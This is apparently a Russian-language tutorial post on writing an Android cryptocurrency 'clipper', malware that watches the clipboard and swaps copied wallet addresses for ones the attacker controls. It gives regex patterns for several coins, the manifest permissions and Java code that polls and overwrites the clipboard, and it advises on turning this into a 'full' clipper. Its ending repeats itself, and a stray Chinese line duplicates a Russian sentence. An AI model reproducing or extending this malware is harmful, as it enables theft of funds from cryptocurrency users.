Clipper криптовалюты на Android:
Обзор, Пример и Технические Подробности
В этой статье мы обсудим тему клипперов на Android. Я предоставлю пример простого клиппера, объясню его внутреннюю работу и расскажу о паттернах криптовалютных кошельков.
在此示例中,无法授予访问互联网和使用 WAKE_LOCK 在 FOREGROUND_SERVICE 中工作的权限,但如果您想要完整的权限,
那么无论如何你都会需要它。
Что делает clipper? –
Clipper — это вредоносное ПО, которое отслеживает содержимое буфера обмена (clipboard) на устройстве жертвы. Он ожидает, когда жертва скопирует адрес криптокошелька.
После этого клиппер проверяет, соответствует ли текст в буфере паттерну криптовалютного адреса. Если совпадение найдено, клиппер заменяет оригинальный адрес на адрес, контролируемый злоумышленником.
Жертва, не перепроверив адрес, отправляет средства на подменённый адрес. Принцип работы прост, но эффективен. Давайте перейдём к техническим деталям.
Пример паттерна криптокошелька –
Рассмотрим формат адресов Bitcoin в стандарте Bech32. Пример паттерна:
String bitcoinPattern = “^bc1[ac-hj-np-z02-9]{11,71}$”;
Разбор паттерна:
^bc1: Все адреса формата Bech32 начинаются с “bc1”.
[ac-hj-np-z02-9]: Диапазон допустимых символов для основной части адреса.
{11,71}: Количество символов, от 11 до 71.
Эти ограничения определены стандартом Bech32.
Для разных криптовалют используются свои форматы адресов.
Другие паттерны криптовалютных кошельков –
Java:
Tron:
String tronPattern = "^T[1-9A-HJ-NP-Za-km-z]{33}$";
Monero:
String moneroPattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$";
Binance Coin (BNB):
String bnbPattern = "^bnb1[ac-hj-np-z02-9]{38}$";
Ethereum:
String ethereumPattern = "^0x[a-fA-F0-9]{40}$";
Solana:
String solanaPattern = "^[1-9A-HJ-NP-Za-km-z]{32,44}$";
Litecoin:
String litecoinPattern = "^(L|M|ltc1)[a-zA-Z0-9]{26,48}$";
Ravencoin:
String ravencoinPattern = "^R[1-9A-HJ-NP-Za-km-z]{33}$";
Каждый паттерн соответствует уникальному формату адресов конкретной криптовалюты.
Перейдем к примеру на Android который будет проверять clipboard на наличие криптокошелька и заменять его на наш адрес.
Но перед этим нам нужно установить разрешения в AndroidManifest.xml –
Java:
<uses-permission android:name="android.permission.INTERNET" />*
<uses-permission android:name="android.permission.WAKE_LOCK" />*
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> *
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />*
<uses-permission android:name="android.permission.READ_CLIPBOARD"/>
Разрешение на доступ в интернет и работу в FOREGROUND_SERVICE с WAKE_LOCK в данном примере можно не давать но если вы хотите полноценный
клиппер то в любом случае вам это будет нужно.
MainActivity.java –
Java:
clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
handler = new Handler();
clipboardChecker = new Runnable() {
@Override
public void run() {
ClipData clipData = clipboardManager.getPrimaryClip();
if (clipData != null && clipData.getItemCount() > 0) {
CharSequence clipboardText = clipData.getItemAt(0).getText();
if (clipboardText != null) {
String address = clipboardText.toString().trim();
String bitcoinPattern = "^bc1[ac-hj-np-z02-9]{11,71}$";
String tronPattern = "^T[1-9A-HJ-NP-Za-km-z]{33}$";
String moneroPattern = "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$";
String bnbPattern = "^bnb1[ac-hj-np-z02-9]{38}$";
String ethereumPattern = "^0x[a-fA-F0-9]{40}$";
String solanaPattern = "^[1-9A-HJ-NP-Za-km-z]{32,44}$";
String litecoinPattern = "^(L|M|ltc1)[a-zA-Z0-9]{26,48}$";
String ravencoinPattern = "^R[1-9A-HJ-NP-Za-km-z]{33}$";
if (Pattern.matches(bitcoinPattern, address)) {
updateClipboard("Bitcoin");
} else if (Pattern.matches(tronPattern, address)) {
updateClipboard("Tron");
} else if (Pattern.matches(moneroPattern, address)) {
updateClipboard("Monero");
} else if (Pattern.matches(bnbPattern, address)) {
updateClipboard("BNB");
} else if (Pattern.matches(ethereumPattern, address)) {
updateClipboard("Ethereum");
} else if (Pattern.matches(solanaPattern, address)) {
updateClipboard("Solana");
} else if (Pattern.matches(litecoinPattern, address)) {
updateClipboard("Litecoin");
} else if (Pattern.matches(ravencoinPattern, address)) {
updateClipboard("Ravencoin");
}
}
}
handler.postDelayed(this, 500);
}
};
handler.post(clipboardChecker);
}
private void updateClipboard(String newText) {
ClipData clip = ClipData.newPlainText("label", newText);
clipboardManager.setPrimaryClip(clip);
clipp.setText(newText);
Toast.makeText(MainActivity.this, "Буфер обмена обновлен: " + newText, Toast.LENGTH_SHORT).show();
}
Замечание!
Следует отметить, что работа с clipboard в FOREGROUND_SERVICE может быть затруднительна.
Всем спасибо за внимание если есть какие-то вопросы или дополнения буду рад обсудить. =)
PODSKAZKA:
\b(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}\b
String bitcoinPattern = “^bc1[ac-hj-np-z02-9]{11,71}$”;
TON
\b(?:EQ|UQ)[A-Za-z0-9_-]{46}\b
SOL
\b[1-9A-HJ-NP-Za-km-z]{32,44}\b
Следует отметить, что работа с clipboard в FOREGROUND_SERVICE может быть затруднительна.
Всем спасибо за внимание если есть какие-то вопросы или дополнения буду рад обсудить. =)
Leave a Reply